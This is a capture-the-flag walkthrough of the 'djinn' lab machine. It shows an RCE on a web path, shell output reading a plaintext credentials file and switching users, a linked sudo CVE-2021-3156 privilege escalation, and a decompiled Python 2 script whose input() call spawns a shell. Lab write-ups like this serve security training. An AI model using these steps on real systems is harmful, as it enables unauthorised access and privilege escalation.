Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (9, '*', 8) > 72 (4, '-', 8) > -4 (1, '*', 7) > 7 (3, '/', 9) > 1/3 (4, '*', 4) > 16 (7, '*', 4) > 28 (9, '-', 1) > 8 (7, '-', 8) > -1 (9, '/', 3) > 3 (4, '-', 1) > exit Stop acting like a hacker for a damn minute!!
it seems we need play 1000times,we try other port at first we brute the path in 7331 web,and we find /wish and /genie the /wish have a rce,so let’s try.
www-data@djinn:/home/nitish$ ls -la ls -la total 32 drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 . drwxr-xr-x 4 root root 4096 Nov 14 2019 .. -rw------- 1 root root 130 Nov 12 2019 .bash_history -rw-r--r-- 1 nitish nitish 3771 Nov 11 2019 .bashrc drwx------ 2 nitish nitish 4096 Nov 11 2019 .cache drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 .dev drwx------ 3 nitish nitish 4096 Nov 11 2019 .gnupg -rw-r----- 1 nitish nitish 33 Nov 12 2019 user.txt www-data@djinn:/home/nitish$ ls -la .dev ls -la .dev total 12 drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 . drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 .. -rw-r--r-- 1 nitish nitish 24 Oct 21 2019 creds.txt www-data@djinn:/home/nitish$ cat .dev/creds.txt cat .dev/creds.txt nitish:p4ssw0rdStr3r0n9 www-data@djinn:/home/nitish$ su nitish su nitish Password: p4ssw0rdStr3r0n9
nitish@djinn:~$ whoami whoami nitish nitish@djinn:~$ ls -la ls -la total 32 drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 . drwxr-xr-x 4 root root 4096 Nov 14 2019 .. -rw------- 1 root root 130 Nov 12 2019 .bash_history -rw-r--r-- 1 nitish nitish 3771 Nov 11 2019 .bashrc drwx------ 2 nitish nitish 4096 Nov 11 2019 .cache drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 .dev drwx------ 3 nitish nitish 4096 Nov 11 2019 .gnupg -rw-r----- 1 nitish nitish 33 Nov 12 2019 user.txt nitish@djinn:~$ cat user.txt cat user.txt 10aay8289ptgguy1pvfa73alzusyyx3c nitish@djinn:~$
so we get user.txt
🛡️ PE
sudo exploit PE
when u are in practice,use kernel vulnerabilities as little as possible, if the designer’s idea of elevating privileges is not kernel vulnerabilities after check the system version and sudo version,it seems be exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14
nitish@djinn:/opt/80/templates$ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.3 LTS Release: 18.04 Codename: bionic ··· nitish@djinn:/opt/80/templates$ sudo -V sudo -V Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2
so we could use this exploit:https://github.com/worawit/CVE-2021-3156
Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc Path: /root Date: Fri Mar 15 10:31:12 IST 2024 Whoami: root __________________________________________________________________________
By @0xmzfr
Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
default PE
there was a sudo binary file,we could find help by man
by lots of try,i find we could get sam’s shell by this -cmd
sam have the sudo too.
after try,it seems nothing,let’s enum next
we just find the .pyc file in sam’s home,let’s uncompile it first we need download it from machine,we could copy it to web directory or start a python web
uncompyle6 .pyc # uncompyle6 version 3.9.0 # Python bytecode version base 2.7 (62211) # Decompiled from: Python 2.7.18 (default, Aug 1 2022, 06:23:55) # [GCC 12.1.0] # Embedded file name: /home/mzfr/scripts/exp.py # Compiled at: 2019-11-07 21:05:18 from getpass import getuser from os import system from random import randint
def naughtyboi(): print'Working on it!! '
def guessit(): num = randint(1, 101) print'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print'Better Luck next time'
def readfiles(): user = getuser() path = input('Enter the full of the file to read: ') print'User %s is not allowed to read %s' % (user, path)
def options(): print'What do you want to do ?' print'1 - Be naughty' print'2 - Guess the number' print'3 - Read some damn files' print'4 - Work' choice = int(input('Enter your choice: ')) return choice
def main(op): if op == 1: naughtyboi() elif op == 2: guessit() elif op == 3: readfiles() elif op == 4: print'work your ass off!!' else: print'Do something better with your life'
if __name__ == '__main__': main(options()) # okay decompiling Untitled.pyc
though other’s walkthrough,it seems the python2’s exploit in funcinput